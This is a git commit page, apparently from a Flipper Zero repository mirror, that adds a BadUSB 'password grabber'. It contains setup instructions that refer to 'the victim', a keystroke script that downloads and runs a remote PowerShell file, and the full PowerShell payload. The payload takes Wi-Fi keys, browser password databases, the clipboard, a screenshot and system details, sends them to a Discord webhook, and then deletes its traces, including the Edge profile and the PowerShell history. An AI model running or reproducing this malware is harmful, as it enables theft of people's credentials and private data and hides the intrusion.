mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2026-09-18 20:01:29 +00:00
Added s4dic BadUSB
This commit is contained in:
UberGuidoZ
@@ -0,0 +1,28 @@
|
||||
### Stole pc password with the BadUSB mode
|
||||
* the script does not require any administrator rights
|
||||
|
||||
## Installation :
|
||||
* Step 1: Have a domain name and hosting + a zero flipper
|
||||
* Step 2: go to my github and get the two files: https://github.com/s4dic/FlipperZero/tree/main/BadUsb/passwordgrabber
|
||||
* Step 3: Create a Discord server where only you have access ( the server will allow to send the victim's info so be careful: if it's a public server for can be report and ban from discord)
|
||||
* Step 4: Create a textual channel on the discord you just created then go to the channel settings to create a webhook
|
||||
* Step 5: Modify the script "payload to upload online.ps1" by changing the URL of the webhook (at the beginning of the script).
|
||||
* Step 6: Rename the script you just modified with a name following "e" (do not put another name, and the name must be without quotes and without extension), then send your script on hosting, check that your script is accessible with your domainname.com/e
|
||||
* Step 7: Open the file "mdponly" change the url http://domain.com/e by your URL.
|
||||
* Step 8: Place the file "mdponly" in your flipper zero in the folder badusb, either in the root of this folder or in a subfolder
|
||||
* Step 9: Launch the attack (on a vm or on your pc it doesn't matter)
|
||||
|
||||
## Demo :
|
||||
[https://youtu.be/OfgyzUYEPXw](https://youtu.be/OfgyzUYEPXw)
|
||||
|
||||
## Data Exfiltrated :
|
||||
- `PC Name` - Get the name of PC
|
||||
- `ClipBoard` - Get the PC ClipBoard
|
||||
- `environment variables` - The environment variables use on the PC
|
||||
- `PUBLIC IP` - Get the Public WAN IPv4
|
||||
- `PRIVATE IP` - Get the Private LAN IPv4
|
||||
- `Other network information` - Other network informations like: Gateway, DNS, DHCP, network card(MAC), IPv6, etc...
|
||||
- `Installed Software` - List all installed application on the PC
|
||||
- `Web Browser Password` - Get the private file containing web browser password (Works with firefox,Edge & Chrome) (you need copy/past the file to the %appdata% web broser folder to get cleared password)
|
||||
- `Screen Capture` - Get a screen capture before the attack begins
|
||||
- `WIFI Password` - Get in clear all wifi password stored (if pc don't have a wifi password you get a blank txt file)
|
||||
@@ -0,0 +1,12 @@
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell Set-ExecutionPolicy -Scope "CurrentUser" -ExecutionPolicy "Unrestricted"; powershell -c Start-BitsTransfer -Source http://domain.com/e -Destination $env:temp\e.ps1; powershell $env:temp\e.ps1;
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING T
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
WINDOWS DOWNARROW
|
||||
@@ -0,0 +1,166 @@
|
||||
#CHANGE URL TO YOUR URL
|
||||
$url="https://discord.com/api/webhooks/XXXXXXXXXXXXXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" ;
|
||||
#Get PC Name+Date+Time
|
||||
$namepc = Get-Date -UFormat "$env:computername-$env:UserName-%m-%d-%Y_%H-%M-%S"
|
||||
|
||||
# Get PC ClipBoard
|
||||
echo "" > "$env:temp\stats-$namepc.txt";
|
||||
echo "####PC ClipBoard under this line:" >> "$env:temp\stats-$namepc.txt";
|
||||
echo "####################################" >> "$env:temp\stats-$namepc.txt";
|
||||
Get-Clipboard >> "$env:temp\stats-$namepc.txt";
|
||||
echo "####################################" >> "$env:temp\stats-$namepc.txt";
|
||||
echo "####End ClipBoard" >> "$env:temp\stats-$namepc.txt";
|
||||
|
||||
# Get WifiPassword
|
||||
echo "" > "$env:temp\WIFI-$namepc.txt";
|
||||
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | out-file "$env:temp\WIFI-$namepc.txt";
|
||||
|
||||
# Screenshot
|
||||
cd "$env:temp";
|
||||
echo 'function Get-ScreenCapture' > "d.ps1";
|
||||
echo '{' >> "d.ps1";
|
||||
echo ' begin {' >> "d.ps1";
|
||||
echo ' Add-Type -AssemblyName System.Drawing, System.Windows.Forms' >> "d.ps1";
|
||||
echo ' Add-Type -AssemblyName System.Drawing' >> "d.ps1";
|
||||
echo ' $jpegCodec = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() |' >> "d.ps1";
|
||||
echo ' Where-Object { $_.FormatDescription -eq "JPEG" }' >> "d.ps1";
|
||||
echo ' }' >> "d.ps1";
|
||||
echo ' process {' >> "d.ps1";
|
||||
echo ' Start-Sleep -Milliseconds 44' >> "d.ps1";
|
||||
echo ' [Windows.Forms.Sendkeys]::SendWait("{PrtSc}")' >> "d.ps1";
|
||||
echo ' Start-Sleep -Milliseconds 550' >> "d.ps1";
|
||||
echo ' $bitmap = [Windows.Forms.Clipboard]::GetImage()' >> "d.ps1";
|
||||
echo ' $ep = New-Object Drawing.Imaging.EncoderParameters' >> "d.ps1";
|
||||
echo ' $ep.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, [long]100)' >> "d.ps1";
|
||||
echo ' $screenCapturePathBase = $env:temp + "\" + $env:UserName + "_Capture"' >> "d.ps1";
|
||||
echo ' $bitmap.Save("${screenCapturePathBase}.jpg", $jpegCodec, $ep)' >> "d.ps1";
|
||||
echo ' }' >> "d.ps1";
|
||||
echo '}' >> "d.ps1";
|
||||
echo 'Get-ScreenCapture' >> "d.ps1";
|
||||
$screencapture = echo $env:temp"\"$env:UserName"_Capture"
|
||||
powershell -c $env:temp\d.ps1;
|
||||
$Screencap = "$env:temp\d.ps1";
|
||||
|
||||
# Get PC information
|
||||
dir env: >> "$env:temp\stats-$namepc.txt";
|
||||
# Get public IP
|
||||
$pubip = (Invoke-WebRequest -UseBasicParsing -uri "http://ifconfig.me/").Content
|
||||
echo "PUBLIC IP: $pubip" >> "$env:temp\stats-$namepc.txt";
|
||||
# Get Local IP
|
||||
ipconfig /all >> "$env:temp\stats-$namepc.txt";
|
||||
# List all installed Software
|
||||
echo "Installed Software:" >> "$env:temp\stats-$namepc.txt";
|
||||
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -AutoSize >> "$env:temp\stats-$namepc.txt";
|
||||
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -AutoSize >> "$env:temp\stats-$namepc.txt";
|
||||
|
||||
# Get FireFox Password
|
||||
#firefox ZIP
|
||||
Add-Type -Assembly "System.IO.Compression.FileSystem" ;
|
||||
#Kill Firefox
|
||||
taskkill /IM firefox.exe /F
|
||||
#search key4.db and logins.json
|
||||
$key4 = Get-Childitem -Path $env:appdata\Mozilla\Firefox\Profiles\ -Include key4.db -Recurse -ErrorAction SilentlyContinue | % { $_.fullname }
|
||||
$logins = Get-Childitem -Path $env:appdata\Mozilla\Firefox\Profiles\ -Include logins.json -Recurse -ErrorAction SilentlyContinue | % { $_.fullname }
|
||||
#Compress firefox files where stored passwords
|
||||
$compress = @{
|
||||
Path = "$key4", "$logins"
|
||||
CompressionLevel = "Fastest"
|
||||
DestinationPath = "$env:temp\Firefox-Password-$namepc.zip"
|
||||
}
|
||||
Compress-Archive @compress -Update
|
||||
#Define zip to copy
|
||||
$firefoxpassword = "$env:temp\Firefox-Password-$namepc.zip"
|
||||
|
||||
#Get Chrome Password
|
||||
#Chrome ZIP
|
||||
Add-Type -Assembly "System.IO.Compression.FileSystem";
|
||||
#Kill Chrome
|
||||
taskkill /IM chrome.exe /F
|
||||
sleep 1
|
||||
#Compress chrome files where stored passwords
|
||||
$compress = @{
|
||||
Path = "$env:appdata\..\local\Google\Chrome\User Data\Local State", "$env:appdata\..\local\Google\Chrome\User Data\default\Login Data", "$env:appdata\..\local\Google\Chrome\User Data\default\Preferences"
|
||||
CompressionLevel = "Fastest"
|
||||
DestinationPath = "$env:temp\Chrome-Password-$namepc.zip"
|
||||
}
|
||||
Compress-Archive @compress -Update
|
||||
sleep 1
|
||||
#Define zip to copy
|
||||
$chromepassword = "$env:temp\Chrome-Password-$namepc.zip"
|
||||
|
||||
#Get Edge Password
|
||||
#Edge ZIP
|
||||
Add-Type -Assembly "System.IO.Compression.FileSystem" ;
|
||||
#Kill Edge
|
||||
taskkill /IM msedge.exe /F
|
||||
sleep 1
|
||||
#Compress Edge files where stored passwords
|
||||
$compress = @{
|
||||
Path = "$env:appdata\..\Local\Microsoft\Edge\User Data\Local State", "$env:appdata\..\Local\Microsoft\Edge\User Data\default\Login Data", "$env:appdata\..\Local\Microsoft\Edge\User Data\default\Preferences"
|
||||
CompressionLevel = "Fastest"
|
||||
DestinationPath = "$env:temp\Edge-Password-$namepc.zip"
|
||||
}
|
||||
Compress-Archive @compress -Update
|
||||
sleep 1
|
||||
#Define zip to copy
|
||||
$edgepassword = "$env:temp\Edge-Password-$namepc.zip"
|
||||
|
||||
#UPLOAD
|
||||
cd $env:temp
|
||||
# Send Name Computer to discord
|
||||
$Body=@{ content = "**Stats from Flipper-Zero on user:** $env:UserName, on pc: $env:computername"};
|
||||
Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json);
|
||||
# Upload Stat
|
||||
curl.exe -F "file1=@stats-$namepc.txt" $url;
|
||||
# Upload wifi password
|
||||
curl.exe -F "file2=@WIFI-$namepc.txt" $url;
|
||||
|
||||
# Upload Webbroser Password Pwned
|
||||
$Body=@{ content = "**Web Browsers Password Pwned**"};
|
||||
Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json);
|
||||
# Upload firefox password
|
||||
curl.exe -i -F file=@"$firefoxpassword" $url
|
||||
# Upload chrome password
|
||||
curl.exe -i -F file=@"$chromepassword" $url
|
||||
# Upload Edge password
|
||||
curl.exe -i -F file=@"$edgepassword" $url
|
||||
# Upload screenshot
|
||||
sleep 1
|
||||
$Body=@{ content = "**Screen Capture before attack start**"};
|
||||
Invoke-RestMethod -ContentType 'Application/Json' -Uri $url -Method Post -Body ($Body | ConvertTo-Json);
|
||||
curl.exe -F "file2=@$screencapture.jpg" $url;
|
||||
|
||||
# Remove Edge clear configuration
|
||||
# Kill again and agan Edge after flipper zero get the token
|
||||
taskkill /IM msedge.exe /F
|
||||
Remove-Item $env:APPDATA\..\Local\Microsoft\Edge -Force -Recurse;
|
||||
sleep 2
|
||||
Remove-Item $env:APPDATA\..\Local\Microsoft\Edge -Force -Recurse;
|
||||
# Restore Edge configuration
|
||||
mv $env:APPDATA\..\Local\Microsoft\ZZZZZZZ $env:APPDATA\..\Local\Microsoft\Edge
|
||||
|
||||
#Delete all file
|
||||
# Delete stat
|
||||
Remove-Item "stats-$namepc.txt" -Force -Recurse;
|
||||
# Delete wifi password
|
||||
Remove-Item "WIFI-$namepc.txt" -Force -Recurse;
|
||||
# Delete screenshot
|
||||
Remove-Item $screencapture* -Force -Recurse;
|
||||
# Delete token screencapture
|
||||
Remove-Item $tokencapture* -Force -Recurse;
|
||||
# Delete firefox password
|
||||
Remove-Item $firefoxpassword -Force -Recurse;
|
||||
# Delete Chrome password
|
||||
Remove-Item $chromepassword -Force -Recurse;
|
||||
# Delete Edge password
|
||||
Remove-Item $edgepassword -Force -Recurse;
|
||||
# Delete this script
|
||||
Remove-Item $env:temp\e.ps1 -Force -Recurse;
|
||||
# Delete screencapture script
|
||||
Remove-Item $env:temp\d.ps1 -Force -Recurse;
|
||||
|
||||
# Clear History powershell:
|
||||
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory();
|
||||
# Clear run powershell:
|
||||
Remove-Item HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
exit;
|
||||
Reference in New Issue
Block a user